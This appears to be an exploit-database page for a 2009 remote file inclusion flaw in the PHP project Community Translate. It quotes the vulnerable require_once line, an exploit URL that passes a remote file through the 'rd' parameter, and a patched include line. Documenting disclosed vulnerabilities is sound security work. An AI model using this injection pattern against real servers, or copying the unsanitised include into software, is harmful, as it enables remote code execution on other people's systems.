header-logo
Suggest Exploit
vendor:
Community Translate
by:
NoGe
N/A
CVSS
N/A
Remote File Inclusion
98
CWE
Product Name: Community Translate
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2009

Community Translate Remote File Inclusion Vulnerability

An attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable application. The request contains a malicious URL in the 'rd' parameter which is used to include a remote file containing arbitrary malicious code.

Mitigation:

The vulnerability can be patched by using the following code: require_once(dirname(__FILE__)."/include/utilfunctions.php");
Source

Exploit-DB raw data:

[o] Community Translate Remote File Inclusion Vulnerability
Software     : Community Translate
Project Home : http://code.google.com/p/communitytranslate/
Author       : NoGe
Contact      : noge[dot]code[at]gmail[dot]com
Blog         : http://evilc0de.blogspot.com/
Home         : http://antisecurity.org/

[o] Vulnerable file
require_once("$rd/include/utilfunctions.php");

include/functions.php

[o] Exploit
http://localhost/[path]/include/functions.php?rd=[evilc0de]

Navigation

Suggest Exploit

Services By CQR